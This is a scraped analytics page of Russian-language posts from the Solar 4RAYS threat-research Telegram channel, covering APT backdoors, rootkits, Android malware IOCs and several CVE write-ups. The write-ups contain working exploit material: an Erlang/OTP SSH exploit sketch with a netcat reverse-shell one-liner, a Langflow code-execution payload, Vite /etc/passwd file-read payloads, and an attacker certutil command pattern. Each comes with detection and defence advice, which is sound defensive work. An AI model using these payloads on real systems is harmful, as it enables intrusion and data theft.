O seu período de teste terminou!
Para acesso total à funcionalidade, pague uma subscrição premium
FO
Четыре луча
https://t.me/four_rays
Idade do canal
Criado
Linguagem
Russo
1.89%
ER (semana)
20.26%
ERRAR (semana)

Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Mensagens Estatísticas
Repostagens e citações
Redes de publicação
Satélites
Contatos
História
Principais categorias
As principais categorias de mensagens aparecerão aqui.
Principais menções
Não foram detectadas menções significativas.
Encontrado 48 resultados
19
28
440
Бэкдор VipNet: все новое — хорошо забытое старое

В апреле наша команда проводила оценку компрометации инфраструктуры одного органа исполнительной власти. В каталоге с резервной копией ViPNet мы обнаружили вредоносный файл msinfo32.exe, размещенный на хосте летом 2022 года.

😬 Мы проанализировали файл и выяснили, что это загрузчик ранее не встречавшегося нам бэкдора. Он был частью архива, мимикрировавшего под обновление ПО ViPNet.

😬 А недавно коллеги из «Лаборатории Касперского» выпустили отчет о бэкдоре, который тоже мимикрировал под обновления ViPNet: он использовал такие же схему запуска и загрузчик.

😬 Все это вернуло нас в 2021 год, когда при расследовании одного инцидента мы столкнулись с аналогичной картиной. Недостаток безопасности в системе обновления ViPNet для доставки и запуска вредоносной полезной нагрузки любят использовать восточно-азиатские APT-группировки.

Мы сравнили цепочку запуска вредоносной нагрузки из апрельского кейса и с цепочкой из 2021 года: они оказались почти идентичными.

👀 Подробности о бэкдоре VipNet и как от него защититься — в новой статье.
24.04.2025, 11:51
t.me/four_rays/78
5
605
23.04.2025, 14:05
t.me/four_rays/75
5
610
23.04.2025, 14:05
t.me/four_rays/76
25
5
547
Инструменты Shedding Zmiy в веб-панели Bulldog Backdoor

Генерация новых имплантов в веб-панели не ограничена одним Bulldog Backdoor. Она объединяет в себе многие инструменты группировки Shedding Zmiy.

В исходном коде мы обнаружили упоминание девяти типов beacon'ов (Скриншот 1):
— gecko;
— revshell;
— proxy;
— teardrop;
— gwyntyk;
— gsnetcat;
— puma;
— mycelium;
— mushroom.

Некоторые из них — ранее не документированные. Но есть и узнаваемые: например, имплант puma, о котором у нас есть отдельная статья.

Интересные факты о веб-панели Bulldog Backdoor 🔎

1️⃣ Встроенная поддержка модулей Bulldog Backdoor

В панели есть категория имплантов bb, включающая bb-shell, bb-custom, и отдельная категория collector (Скриншот 2).

Судя по коду, bb — это бинарь-обертка, объединяющий несколько модулей: collector, revshell, proxy, gecko (Скриншот 3). Вариант bb-custom позволяет оператору выбрать, какие именно компоненты должны быть включены в финальный исполняемый файл — через специальное поле Parts в интерфейсе генерации.

2️⃣ Среди имплантов есть gsnetcat

Еще он встречается на странице Remote sessions. Эта страница в веб-панели до сих пор имеет путь /ui/gs-netcat, а соответствующий ей React-компонент называется NetcatTablePage.

Это наследие старых версий. Вероятно, раньше эта вкладка была связанна только с gsnetcat, но ее забыли или не захотели переименовывать.

3️⃣ Вкладка Patched bins на странице Target host (Скриншот 4)

Мы полагаем, что она отображает подменные легитимные исполняемые файлы — излюбленная техника группировки Shedding Zmiy.

Веб-панель Bulldog Backdoor — не просто интерфейс управления одним бэкдором, а многофункциональный командный центр, объединяющий весь вредоносный инструментарий Shedding Zmiy. Ее функциональность и архитектура делают ее ядром всех операций группировки, обеспечивая масштабируемость, автоматизацию и гибкость в проведении атак.

👍 Подробнее о веб-панели Bulldog Backdoor — в нашем исследовании.
23.04.2025, 14:05
t.me/four_rays/74
5
612
23.04.2025, 14:05
t.me/four_rays/77
31
21
719
Как Erudite Mogwai обходит правила детектирования 👣

Уже в нескольких кейсах мы видим, как группировка Erudite Mogwai (или Space Pirates) при боковом перемещении использует один и тот же паттерн выполнения команд:
C:\Windows\System32\calc.exe..\..\cmd.exe /C > C:\Users\Public\ 2>&1 & certutil -f -encode C:\Users\Public\ C:\Users\Public\ 2>&1

— произвольная cmd-команда;

— имя файла, где будет сохранен вывод команды, закодированный в Base64 с помощью certutil. Обычно оно соответствует регулярному выражению [A-z]{8}.log.

Если атакующие выполняют команды с использованием задач (AtExec), то имя задачи обычно соответствует имени файла , но без расширения.

Зачем Erudite Mogwai используют такой паттерн

💣 Некоторые средства АВПО неправильно обрабатывают этот командлайн, в журналах оказывается лишь certutil -f -encode C:\Users\Public\ C:\Users\Public\ 2>&1. Это затрудняет исследование активности.

💣 Если правила детектирования подозрительных запусков командной оболочки используют полный путь к cmd, например C:\Windows\System32\cmd.exe /C — то они не сработают. Аналогично с правилами детектирования АВПО.

💣 После выполнения certutil файл с выводом команды будет менее понятным для неподготовленного администратора:
-----BEGIN CERTIFICATE-----
U0FOREJPWFxVc2Vy
-----END CERTIFICATE-----
Вывод команды whoami — SANDBOX\User.

Но есть и хорошие новости

👀 Логирование процессов Event ID 4688 в журнале Windows Security обрабатывает командлайн корректно.

👀 Паттерн команды приметный, и аналитик наверняка засомневается в его легитимности.

👀 Иногда атакующие забывают удалить файл с выводом C:\Users\Public\. Так можно найти системы, где уже побывал Erudite Mogwai.

👀 Можно быстро обнаружить значительную часть активности атакующих, грепнув по диску calc.exe..\..\cmd.exe, в том числе в неразмеченном пространстве.

Используйте эту информацию при написании детектов.

Удачной охоты! 👀
22.04.2025, 14:51
t.me/four_rays/73
22
23
768
Уязвимость виртуальной машины «Битрикс» в арсенале Shedding Zmiy ⚡️

Недавно ФСТЭК России распространила уведомление об уязвимости BDU:2025-04539 в сервере «1С-Битрикс: Виртуальная машина». Из-за недостатков в разграничении прав доступа атакующие могли поднимать свои права на скомпрометированном сервере до root.

Наша команда обнаружила эту уязвимость, когда анализировала утилиту Install — один из вредоносных инструментов группировки Shedding Zmiy. Его атакующие могли использовать для размещения на атакованном сервере бэкдора с функциональностью получения root-привилегий.

Уязвимость заключается в неправильной конфигурации доступов для пользователя bitrix.

😬 Пользователь имел доступ к настройкам веб-серверов Apache и Nginx.

😬Собрав вредоносный модуль и изменив настройки веб-сервера, злоумышленники могли повысить свои привилегии до уровня root.

😬 Мы нашли дополнительные ошибки в конфигурации доступа файлов служб Linux, используемых в виртуальной машине. Они позволяли внедрить произвольный код в скрипт службы и исполнить его от пользователя root.

Обнаружив уязвимость, мы сразу же сообщили о ней вендору. Патч, закрывающий уязвимость, уже доступен на сайте. Если ещё не обновились — сейчас самое время!
21.04.2025, 16:59
t.me/four_rays/72
17
716
21.04.2025, 15:09
t.me/four_rays/71
32
17
638
Веб-панель Bulldog Backdoor — главный инструмент Shedding Zmiy 🐍

Исследуя инфраструктуру группировки Shedding Zmiy, мы обнаружили в открытом доступе веб-панель Bulldog Backdoor. Фронтенд написан с помощью фреймворка React.js с использованием TypeScript. Мы смогли выгрузить исходный код компонентов в первозданном виде (Скриншот 1 — структура проекта).

Проанализировав панель, наша команда поняла подходы Shedding Zmiy к построению части своей C2-инфраструктуры. Это пролило свет на экосистему имплантов и их связи, а также на механизмы работы Bulldog Backdoor.

Веб-панель Bulldog Backdoor — ключевой элемент экосистемы группировки:
— Агрегирует данные, полученные в ходе атак.
— Служит интерфейсом управления активными операциями.
— Помогает централизованно контролировать всю сеть зараженных систем.

Веб-панель Bulldog Backdoor помогает Shedding Zmiy

💣Генерировать новые импланты для Bulldog Backdoor и beacon’ы других типов.

💣 Управлять активными сессиями в сети жертвы.

💣 Передавать команды отложенного исполнения — вероятно, для имитации активности в разных часовых поясах.

💣 Собирать подробную статистику по сессиям: активным, завершённым, потерянным.

💣 Просматривать интерактивную карту зараженной инфраструктуры в режиме реального времени (Скриншот 2 — так она могла бы выглядеть).

💣 Работать с данными на разных уровнях абстракции за счет многоуровневой системы сущностей — «Цель», «Хост» и др.

💣 Осуществлять автоматизированный брутфорс на основе собранных учетных данных.

💣 Легко передавать критически важную информацию между операторами с помощью системы заметок для целей и хостов с поддержкой Markdown (Скриншот 3 — пример заметки).

🔗 Полный технический разбор веб-панели Bulldog Backdoor версии v0.1.15 читайте в нашей новой статье.
21.04.2025, 15:09
t.me/four_rays/69
17
721
21.04.2025, 15:09
t.me/four_rays/70
14
7
567
Критическая уязвимость CVE-2025–39601 👾

CSRF-атаки все еще актуальны, особенно если мы говорим про плагины к популярным CMS. Сегодня расскажем, к чему они могут привести, на примере CVE-2025–39601.

CVE-2025–39601 — уязвимость подделки межсайтовых запросов (CSRF) в плагине WPFactory Custom CSS, JS и PHP для WordPress.

❗️ Уязвимы все версии до 2.4.1, рекомендуем обновиться.

Метрики
Base Score: 9,6
CWE: CWE-352

Как это работает

После установки плагина WPFactory Custom CSS, JS и PHP у администратора появляется возможность создавать собственные PHP скрипты на конечной точке /wp-admin/tools.php?page=alg-custom-php. Сам PHP код и другие параметры передаются в теле POST-запроса:
alg_custom_css_php_enabled=1&alg_custom_css_php_execute=plugins_loaded&alg_custom_css_php=&alg_ccjp_submit=php

В передаваемых данных при создании скрипта отсутствует CSRF-токен, нет и отдельного HTTP-заголовка или значения COOKIE, содержащего токен. Этот запрос можно будет подделать и создать скрипт от лица администратора, что приведет к RCE.

Пример

Классический сценарий атаки будет выглядеть так:
Администратор получает вредоносную ссылку на приложение -> администратор переходит по ссылке -> от лица администратора создаётся скрипт с вредоносным кодом, который приводит к RCE.

Вредоносное приложение имеет такую HTML-структуру:




WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - CSRF to RCE vulnerability


CSRF PoC - WordPress Custom CSS, JS & PHP plugin <= 2.4.1










Код передается в блоке alg_custom_css_php. В данном случае, для примера, мы выведем результат команды id, который сможет увидеть любой пользователь приложения (Скриншот 1).

Этот POST-запрос будет полностью эмулировать легитимный запрос администратора, и только заголовок Origin будет содержать информацию о другом приложении (Скриншот 2).

Как защищаться

1️⃣ Не отсылать или ограничить отсылку COOKIE файлов сторонним сайтам или приложениям;

2️⃣ использовать CORS;

3️⃣ использовать CSRF-токен;

4️⃣ дополнительно проверять на валидность заголовки Origin, Referer.
18.04.2025, 17:06
t.me/four_rays/67
7
614
18.04.2025, 17:06
t.me/four_rays/68
22
27
683
Десятибалльная уязвимость CVE-2025-32433 👾

CVE-2025-32433 — Remote Code Execution-уязвимость в SSH-серверах на базе Erlang/OTP, которая позволяет получить несанкционированный доступ к уязвимым системам и выполнять произвольные команды без аутентификации.

Метрики
Base Score: 10.0 CRITICAL
CWE-306

Уязвимы версии
<= OTP-27.3.2
<= OTP-26.2.5.10
<= OTP-25.3.2.19

Как происходит атака

По стандарту канал для выполнения команд SSH-клиентом открывается после прохождения аутентификации, в противном случае сообщение будет отвергнуто или приведет к разрыву соединения.

Но уязвимые версии Erlang/OTP могут не проверять стадию аутентификации и обрабатывать CHANNEL_OPEN и exec сразу. Это приводит к тому, что для выполнения команд на сервере злоумышленникам достаточно иметь сетевой доступ к нему.

Из чего состоит эксплоит

Эксплоит может состоять из четырёх клиентских SSH-пакетов после установления TCP-соединения.

1️⃣ Обмен баннерами. Клиент отправляет строку, сервер отвечает своей:
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)

2️⃣ Инициализация обмена ключами:
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))

3️⃣ Отправка SSH-пакета типа SSH_MSG_CHANNEL_OPEN с «просьбой» открыть канал, как будто клиент уже прошел аутентификацию:
chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))

4️⃣ Запрос на выполнение команды:
chan_req = build_channel_request(
command='file:write_file("/lab.sh", <<"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.0.22 8080 >/tmp/f">>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").'
)
s.sendall(pad_packet(chan_req))

Пример выполнения CVE-2025-32433

Для примера отправим пакет, содержащий команду создания и выполнения Reverse Shell-кода, для получения контроля над уязвимым сервером:
file:write_file("/lab.sh", <>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").

file:write_file("/lab.sh,<>)— создаст sh-скрипт c необходимой командой;

os:cmd("chmod +x /lab.sh") — предоставит права на выполнение;

os:cmd("/lab.sh") — запустит Reverse Shell.

Как детектировать и защититься

Важно следить, что сообщения типов MSG_CHANNEL_OPEN и MSG_CHANNEL_REQUEST не передаются в открытом виде в сетевом трафике. Согласно RFC 4253 и 4254, обмен такими сообщениями осуществляется после обмена ключами и аутентификации в зашифрованном виде.

Для написания IDS-сигнатур можно обратить внимание на структуру таких сообщений:
byte SSH_MSG_CHANNEL_OPEN # значение 0x5a
string "session"
uint32 sender channel
uint32 initial window size
uint32 maximum packet size
byte SSH_MSG_CHANNEL_REQUEST # значение 0x62
uint32 recipient channel
string "exec"
boolean want reply
string command
Содержимое полей string может меняться в зависимости от типа, а приведенные выше session и exec соответствуют запросам на открытие канала и выполнение команды. Появление в сетевом трафике SSH в открытом виде таких сообщений может свидетельствовать о попытках эксплуатации уязвимости.

❗️ Настоятельно советуем обновиться до последних версий, а до этого ограничить доступ к SSH.
18.04.2025, 14:35
t.me/four_rays/66
15
22
694
Советы пентестерам на 2025 год 🚩

Наша OffSec-команда выпустила отчет о ключевых уязвимостях инфраструктур российских компаний в 2024 году. Повторяться не будем — сконцентрируемся на трендах в пентесте, которые могут быть актуальны в 2025.

😬 Проверяйте CMS

Все еще обнаруживаются уязвимости в функциональности vote популярной CMS-системы 1С Bitrix и ее производных. Эксперты советуют перечитать работу исследователя cr1f о безопасности Bitrix и не вычеркивать ее из своих сплойтов. А еще — не забывать фаззить Bitrix специализированными словарями.

😬 Импортозамещение может быть уязвимым

Наши эксперты все чаще исследуют безопасность российских аналогов зарубежных сервисов. Разработчики не всегда успевают провести оценку безопасности приложения или системы, поэтому обнаруживается много изъянов и в базах данных, и в логике процессов приложений.

😬 Классические проблемы с паролями

Пароли по умолчанию, слабые парольные политики и переиспользование паролей остаются проблемой в российских организациях. Обстоятельная разведка аутентификационных данных в открытых источниках перед пентестом — приличная часть работы, которую OffSec-эксперты регулярно делали в прошлом году.

Разведка позволяет собрать учетные записи и пароли еще до старта пентеста и потом использовать эти данные, применяя технику password spraying на инфраструктуре, которую надо проверить. Для поиска секретов наши эксперты рекомендуют использовать Trufflehog.

😬 Готовимся к атакам на Active Directory и FreeIPA

Во внутренней части инфраструктур в топе атак на AD стоит ESC. В 2024 году наши пентестеры начали замечать, что многие организации переходят на FreeIPA-решения. Они, как и импортозамещающие продукты, содержат немало изъянов. Эксперты советуют обратить на FreeIPA внимание и начать готовиться к атакам на нее.
16.04.2025, 14:41
t.me/four_rays/65
28
899
14.04.2025, 12:54
t.me/four_rays/64
22
29
791
Очередная кампания по рассылке Android-вредоносов в Telegram ✈️

Рассылка началась ориентировочно в конце марта и продолжается до сих пор. Вредонос сопровождается сообщениями, которые склоняют жертву к немедленному запуску мимикрирующего под фото или видео APK-файла (Скриншот 1).

По функционалу распространяемый вредонос похож на PhotoAndroidMalware, о котором недавно сообщили коллеги из F6.

Мы считаем, что обнаружили одну из новых вариаций этого ВПО. Она тоже работает с SMS:
— эксфильтрует последние 14480 SMS-сообщений;
— эксфильтрует информацию о зараженном устройстве, установленных приложениях банков, мессенджеров, маркетплейсов и «Госуслуг», а также содержимое буфера обмена;
— регистрирует себя как приложение для приема SMS по умолчанию и перенаправляет на сервер управления SMS-сообщениями от Telegram.

Особенности вредоноса

💣 После запуска ВПО сначала получает конфигурацию воркера со специального сервера конфигураций. В конфигурации указаны: команда, имя и telegram handle воркера, номер телефона как резервный канал получения уведомлений о заражениях.

💣 Из собранных конфигураций мы обнаружили 10 серверов управления для эксфильтрации SMS.

💣 Во всех конфигурациях используются одинаковые параметры AES-шифрования. В начале кампании использовался один и тот же номер телефона для перенаправления SMS, но в последних образцах стали появляться новые.

💣 После заражения злоумышленники получают возможность отправлять SMS от имени жертвы на заданный номер по команде. Команда приходит в специально сформированном входящем SMS (Скриншот 2).

💣 Злоумышленники работают оперативно — после заражения очередной жертвы уже через 13 минут злоумышленники рассылали ВПО всем контактам в Telegram.

Мы предполагаем, что на телефоне злоумышленников из конфигурации установлено аналогичное ВПО, которое обрабатывает такие SMS и POST-запросом отправляет данные жертвы и воркера на сервер управления команды.

Такая схема может позволить получать данные о зараженной жертве, даже если на телефоне жертвы не будет интернета, а серверы управления ВПО заблокируют (Скриншот 3).

Как защититься

Если вы стали жертвой, нужно найти приложение и удалить его из списка установленных. Обычно имя вредоносного приложения совпадает с именем присланного apk-файла (Скриншот 4).

IOC
md5:
31210d375856bee724080f69b4c5e81a
8955c7ee6b1b6adc50838a0b7e6c7b6f
8a602991a6fdc161cdb6763871346f99
33f2215163e708a2453e166c4f110c47
7f5f91b0e1a2320655d103cbdda5ebdf
c80574ce2840120608f2026507710062
9931eb52878c5957251014b750bb781c
32c22d0fe9b8afb65e405165694a6bd5
2d05bc8a1a38517e2abd3183e3c6923e
09f829e6b4e32751dbc9a776cce0f902

Имена apk-файлов:
Архив фото (88).apk
Mega видео (Архив).apk
Фoт0(4)9_0.4_2025.apk
Яндekc Buдeo.apk
Документы (3).apk
Video.1)1.226293.apk
YandexDisc.apk
Фото (53 шт.).apk

Сервер конфигураций воркеров:
http://185.100.157.190:8000

C2-серверы команд:
http://89.23.101.185:120
http://89.23.102.98:120
http://89.23.102.238:120
http://91.92.46.212:120
http://91.92.46.228:120
http://185.177.239.24:100
http://185.177.239.24:120
http://185.100.157.82:120
http://185.100.157.227:100
http://185.100.157.237:120
http://193.68.89.199:120
14.04.2025, 12:54
t.me/four_rays/61
28
894
14.04.2025, 12:54
t.me/four_rays/63
28
890
14.04.2025, 12:54
t.me/four_rays/62
23
6
544
Интересный C2 .NET KingOfHearts 👀

В инциденте с новой версией бэкдора KingOfHearts группировки Obstinate Mogwai фигурировал C2-сервер 45.150.64.23.

В конце 2023 года эксперты одной зарубежной компании предположили, что этот C2 связан с Иранской APT-группировкой MuddyWater. Адрес был помечен как «Suspected MuddyC2Go (2023)», но авторы указали, что не обнаружили у подозрительного C2 вредоносной активности или известных шаблонов URL фреймворка MuddyC2Go.

Статью выпустили 8 ноября 2023 года, а в нашем инциденте бэкдор .NET KingOfHearts с аналогичным C2 использовался 14 ноября 2023.

Принадлежал ли сервер 45.150.64.23 сначала MuddyWater, а потом перешел к Obstinate Mogwai — неизвестно. Возможно, эксперты ошибочно отнесли этот C2 к MuddyWater, хотя изначально он никак не был связан с этой группировкой.

P.S. Знаем, что сейчас 2025 год, но наш ресерчер очень хотел поделиться этой информацией с комьюнити :)
11.04.2025, 11:03
t.me/four_rays/60
17
4
608
Критическая уязвимость CVE-2025-3248 👾

CVE-2025-3248 — уязвимость в Langflow, связанная с выполнением  произвольного кода (RCE) на уязвимой конечной точке /api/v1/validate/code.

❗️ Уязвимы все версии до 1.3.0. Рекомендуем обновиться.

Langflow — инструмент с открытым исходным кодом, предназначенный для создания и управления потоками работы с использованием моделей искусственного интеллекта.

Метрики
Base score: 9,8
CWE: 306

Полезная нагрузка
{
"code": """
def test(cd=exec('raise Exception(__import__("subprocess").check_output("ls -la", shell=True))')):
pass
"""
}

Разберем детальнее:

code — ключ для передачи Python-кода;

exec() — позволяет выполнять строки кода Python;

subprocess.check_output("ls -la", shell=True) — эта команда выполняет системную команду ls -la через оболочку (shell). В результате возвращается список файлов и директорий в текущем каталоге;

raise Exception(...) — исключение, которое вызывается после выполнения команды ls -la.

На что важно обратить внимание

1️⃣ Из-за того, что на конечной точке /api/v1/validate/code нет аутентификации, злоумышленник может отправить такой код через HTTP-запрос.

2️⃣ Код будет выполнен на сервере — это позволяет атакующему осуществить произвольные команды, например, вывести список файлов на сервере или даже изменить состояние системы.

3️⃣ Код может представлять из себя все что угодно, он не обязательно должен соответствовать примеру выше.

Как защититься

✅ Ограничить доступ из сети интернет к данному API.

✅ Написать правило, блокирующее POST-запросы к уязвимому URL, содержащее заголовок Content-Type: application/json и тело, в котором присутствуют python-операторы — например, exec, Exception, import, print, system.
10.04.2025, 18:46
t.me/four_rays/59
23
10
674
Новая версия бэкдора KingOfHearts 👑

Осенью 2024 мы описали пересечения Obstinate Mogwai с другой азиатской группировкой — IAmTheKing, которая активна как минимум с 2014 года.

Последний публичный отчет об IAmTheKing выпустили эксперты «Лаборатории Касперского» в 2020 году.

А на конференции Kaspersky Security Analyst Summit 2024 подразделение PT ESC представило доклад «The Lord of PowerShell: The Return of IAmTheKing», в котором говорилось о возвращении группировки с новым стилером PowerBroker.

👀 В арсенале IAmTheKing был бэкдор KingOfHearts, который использовался злоумышленниками в атаках до 2019 года. Во время очередной попытки возвращения в инфраструктуру Obstinate Mogwai применили новую версию этого бэкдора, которую мы назвали .NET KingOfHearts.

Наша команда очень подробно проанализировала новую версию легендарного бэкдора.

Ключевые моменты:

😬 Мы обнаружили сборки в ресурсах, даты компиляции которых могут указывать, что бэкдор предположительно мог находиться в разработке с конца 2022, а в инциденте был использован в конце 2023 года.

😬 Эти же сборки помогли найти хеши нескольких других образцов .NET KingOfHearts с новыми C2.

😬 .NET KingOfHearts, в отличие от старых версий, стал модульным.

😬 Нашли ряд совпадений, по которым поняли, что перед нами — новая версия бэкдора KingOfHearts.

⚡️ Все подробности — в статье.
10.04.2025, 13:21
t.me/four_rays/58
32
11
690
🦣 Mamont: все еще живой

Недавно в СМИ появилась информация о задержании подозреваемых в распространении вредоносного приложения для Android под названием Mamont.

Несколько месяцев злоумышленники рассылали тысячам пользователей фишинговые сообщения. В каждом было видео с интригующей подписью:

Это ты на видео?

Под роликом скрывалось вредоносное Android-приложение Mamont — таким образом его создатели получали доступ к интернет-банкингу жертв.

Незадолго до новости о задержании образец Mamont попался команде Solar 4RAYS. Конечно же, мы его исследовали.

Приложение позволяет злоумышленникам:

💣 собирать информацию о приложениях и устройстве;

💣 мониторить историю вызовов и совершать звонки;

💣 совершать USSD запросы;

💣 отправлять и получать смс.

Мы выяснили, что как минимум часть сетевой инфраструктуры, связанной с Mamont, остается активной. Это может указывать на то, что угроза заражений не ушла.

⛓ Подробнее об Android-вредоносе Mamont читайте в нашей новой статье.
8.04.2025, 12:20
t.me/four_rays/57
21
16
536
Обзор веб-уязвимостей в первом квартале 2025 года 👾

Проанализировали 120+ PoC и подвели итоги ландшафта веб-уязвимостей в первом квартале. Вот результаты:

😬 Более 80% уязвимостей имеют сетевой вектор атаки;

😬Средний уровень критичности обнаруженных уязвимостей — 7,7/10;

😬 Максимальный уровень критичности обнаруженных уязвимостей — 10, минимальный — 2,7;

😬 72% сетевых уязвимостей имеют Critical и High уровни критичности;

😬 Самые уязвимые продукты квартала: Wordpress и плагины, а также открытое ПО Kubernetes.

✈️ Читайте полный обзор и обновляйтесь.
3.04.2025, 14:38
t.me/four_rays/56
13
5
525
Уязвимость в Vite CVE-2025-31125

Уязвимость в Vite CVE-2025-30208, о которой мы рассказывали ранее, позволяет получить несанкционированный доступ к файлам. В CVE-2025-31125 был обнаружен альтернативный вид запроса для обхода ограничения.

Уязвимости подвержены только приложения, явно предоставляющие доступ к серверу разработки Vite в сети: в них используется параметр конфигурации --host или конфигурация server.host.

❗️ CVE-2025-31125 исправлена ​​в версиях 6.2.4, 6.1.3, 6.0.13, 5.4.16 и 4.5.11 — рекомендуем обновиться.

Метрики
Base Score: 5.3
CWE: CWE-200; CWE-284

Описание

Полезная нагрузка выглядит так:
/etc/passwd?inline=.wasm?init

/etc/passwd — путь к нужному файлу;

inline — используется для управления импортом ресурсов;

— любая строка или же ее может не быть;

.wasm — указывает на WebAssembly-модуль.

Вывод эксплуатации — дважды закодированный в формате base64 файл passwd.

Как защищаться

Регулярное выражение для детекта эксплуатации:
.+?\?inline=.*\.wasm\?init
2.04.2025, 15:14
t.me/four_rays/55
31
9
438
Как победить руткиты Puma и Pumatsune ⚡️

В предыдущих постах мы рассказывали о двух руткитах — Puma и Pumatsune. Проверить систему на наличие руткита можно с помощью yara-правила, которое мы оставили в статье.

Если руткит уже попал в систему, его нужно устранить. Puma закрепляется через подмененный легитимный файл cron:

/usr/sbin/cron — Debian-системы;

/usr/sbin/crond — RHEL-системы.

У Pumatsune нет никаких способов закрепления, он будет находиться в инфраструктуре, пока в ядре работает руткит Puma. Поэтому самый простой способ избавиться от него — заменить вредоносный загрузчик на легитимный файл cron и перезагрузить систему.

Как заменить вредоносный cron легитимным, если у вас Debian

1️⃣ Определить название пакета, из которого был установлен пакет cron:
dpkg -S /usr/sbin/cron
Вывод команды:
cron: /usr/sbin/cron
cron — имя deb-пакета.

2️⃣ Скачать deb-пакет:
apt-get download cron
Команда загрузит deb-файл, например, cron_3.0pl1-136ubuntu1_amd64.deb. Название пакета может меняться в зависимости от версии ОС.

3️⃣ Распаковать пакет:
pkg-deb -x cron_*.deb cron_orig
cron_orig — название каталога, куда будут распакованы файлы deb-пакета.

4️⃣ Остановить службу cron:
sudo systemctl stop cron

5️⃣ Заменить вредоносный cron оригинальным:
sudo install -m 755 -o root -g root cron_orig/usr/sbin/cron /usr/sbin/cron

6️⃣ Перезагрузить систему:
sudo reboot

Как заменить вредоносный cron легитимным на RHEL

1️⃣ Определить название пакета, из которого был установлен cron:
rpm -qf /usr/sbin/crond
Вывод команды:
cronie-1.4.11-25.el7_9.x86_64
Название пакета может меняться в зависимости от версии ОС.

2️⃣ Скачать rpm-пакет:
yumdownloader cronie
Если нет yumdownloader, установите его:
sudo yum install -y yum-utils

3️⃣ Распаковать пакет:
rpm2cpio cronie-*.rpm | cpio -idmv ./usr/sbin/crond

4️⃣ Остановить службу cron:
sudo systemctl stop cron

5️⃣ Заменить вредоносный cron оригинальным:
sudo install -m 755 -o root -g root ./usr/sbin/crond /usr/sbin/crond

6️⃣ Перезагрузить систему:
sudo reboot

После этих действий Puma перестанет загружаться в ядро, а вместе с ним пропадет и Pumatsune.

❗️ Shedding Zmiy редко обходится одним инструментом в своих атаках. Если вы обнаружили Puma, скорее всего, в вашей инфраструктуре есть и другое ВПО группировки. Обратитесь за помощью к экспертам по оценке компрометации и реагированию на ИБ-инциденты.
31.03.2025, 14:34
t.me/four_rays/54
27
3
717
Pumatsune: как работает младший брат Puma 🐾

Руткит Puma — не самостоятельный вредонос. Он лишь предоставляет инструменты, которые можно использовать из пространства пользователя. С ним «в комплекте» идет руткит Pumatsune, который позволяет раскрыть весь вредоносный потенциал в ядре.

Название Pumatsune выбрано не просто так. Этот руткит берет свое начало от руткита Kitsune, который известен с 2022 года. В отличие от старых версий, без поддержки из ядра Pumatsune работать не может.

👁 С помощью Puma, который находится в ядре, Pumatsune незаметно подключается к C2-серверу и выполняет команды. Любые процессы и соединения Pumatsune может скрыть с помощью Puma.

💣 Это открывает руткиту большие возможности: например, он может совершать эксфильтрацию конфиденциальной информации или незаметно исполнять shell-команды.

Симбиоз двух вредоносов очень опасен для неподготовленной инфраструктуры. Узнайте, как от них защититься, в нашей новой статье.

↗️ Читать статью
28.03.2025, 15:38
t.me/four_rays/53
23
6
790
Уязвимость в Vite CVE-2025-30208

CVE-2025-30208 — уязвимость в популярном инструменте фронтенд-разработки Vite, которая позволяет злоумышленнику обходить ограничения доступа к файлам. Уязвимы версии до 6.2.3, 6.1.2, 6.0.12, 5.4.15 и 4.5.10

😬 Метрики

Base Score: 5.3
CWE: CWE-200; CWE-284

😬 Описание

Добавление в URL подстрок ?raw?? или ?import&raw?? позволяет получить содержимое произвольного файла. Это происходит из-за того, что конечные разделители, такие как ?, удаляются в нескольких местах, но не обрабатываются корректно в регулярных выражениях, используемых для проверки строки запроса.

😬 Полезная нагрузка

Полезная нагрузка представляет из себя подобную структуру:
/@fs/etc/passwd??raw

@fs — механизм, который запрещает доступ к файлам за пределами разрешенных директорий,

/etc/passwd — необходимый нам файл,

? — не обязательный параметр, может быть любой строкой,

raw — импорт файла как строки.

😬 Как защищаться

Зная структуру полезной разгрузки, можем написать регулярное выражение на URI:
\/@fs\/([a-zA-Z0-9_-]+\/)*([a-zA-Z0-9_-]+).+?\?raw
27.03.2025, 17:06
t.me/four_rays/52
39
39
1.8 k
Puma: новый руткит в арсенале Shedding Zmiy 🐍

У одной из самых активных группировок Восточной Европы, атакующих российские организации, появился новый инструмент — руткит Puma. Чтобы обнаружить его и предотвратить атаки, нужно понимать, как он работает.

Puma — руткит в пространстве ядра, нацеленный на Linux-системы. Он попадает в инфраструктуру жертвы, когда легитимная утилита «Cron» заменяется специальным загрузчиком. Затем Puma закрепляется и загружается в ядро при каждом запуске системы.

В ядре руткит перехватывает системные вызовы и функции. Для этого он:
💣 редактирует таблицу вызовов, заменяя оригинальные обработчики своими,
💣 использует фреймворк для трассировки ядра Linux — Ftrace.

После этого Puma может скрывать файлы, процессы, директории, сетевые соединения, красть конфиденциальную информацию и подменять содержимое в файлах.

Puma работает не один, у него есть «сообщник» — руткит Pumatsune. Изначально он находится внутри ядерного руткита, но в результате перехвата некоторых системных вызовов попадает в пользовательское пространство и работает там. В списке его задач — взаимодействие с C2 сервером.

👀 Подробнее о рутките Puma — в новой статье.
27.03.2025, 13:35
t.me/four_rays/51
27
10
917
Лог
W0326 07:59:03.292219 7 controller.go:1110] Error obtaining Endpoints for Service "/kubernetes": no object matching key "/kubernetes" in local store
W0326 07:59:03.292390 7 controller.go:1235] Error loading custom default certificate, falling back to generated default:
…….
I0326 07:59:03.342274 7 admission.go:149] processed ingress via admission controller {testedIngressLength:1 testedIngressTime:0.05s renderingIngressLength:1 renderingIngressTime:0.003s admissionTime:0.053s testedConfigurationSize:18.1kB}
I0326 07:59:03.342431 7 main.go:107] "successfully validated configuration, accepting" ingress="/"
В логе есть несколько сообщений, которые могут быть связаны с ошибками, но окончательное сообщение подтверждает, что конфигурация успешно проверена и запрос принят:
I0326 07:59:03.342431 7 main.go:107] "successfully validated configuration, accepting" ingress="/"
Это означает, что Ingress-ресурс был успешно проверен, валидация пройдена, принято решение о разрешении. Этот процесс происходит через admission controller, который проверяет запросы перед тем, как они будут применены в Kubernetes.

Как защищаться

